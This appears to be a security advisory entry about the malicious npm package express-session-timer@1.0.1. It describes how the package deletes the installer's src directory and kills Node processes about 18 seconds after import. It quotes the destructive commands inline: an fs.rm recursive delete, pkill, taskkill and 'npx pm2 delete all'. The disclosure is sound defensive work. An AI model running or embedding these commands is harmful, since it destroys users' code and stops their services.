OpenSSF/OSV advisory MAL-2026-16065 confirms this npm version as malicious. express-session-timer@1.0.1 schedules an unconditional destructive routine at module load time. Approximately 18 seconds after \`require('express-session-timer')\`, the package recursively removes \`\<cwd\>/src\` via \`fs.rm(path.join(process.cwd(),'src'), {recursive:true, force:true})\` and terminates Node processes with \`pkill -f "node.\*${process.cwd()}"\` on Unix, \`taskkill /IM node.exe /F\` on Windows, and \`npx pm2 delete...

## Public findings

### 1. High: Osv Malicious Advisory
- **Category:** External Intel
- **Confidence:** 100.0%

express-session-timer@1.0.1 schedules an unconditional destructive routine at module load time. Approximately 18 seconds after \`require('express-session-timer')\`, the package recursively removes \`\<cwd\>/src\` via \`fs.rm(path.join(process.cwd(),'src'), {recursive:true, force:true})\` and terminates Node processes with \`pkill -f "node.\*${process.cwd()}"\` on Unix, \`taskkill /IM node.exe /F\` on Windows, and \`npx pm2 delete all\`. The behavior fires with no configuration, opt-in, or relationship to the package's advertised functionality — merely importing the module deletes the installer's source tree and stops their running server. The manifest also pins \`express-timer: ^0.0.1-security\`, npm's security-hold placeholder convention, indicating an unpinned resolution against a name previously held after takedown.
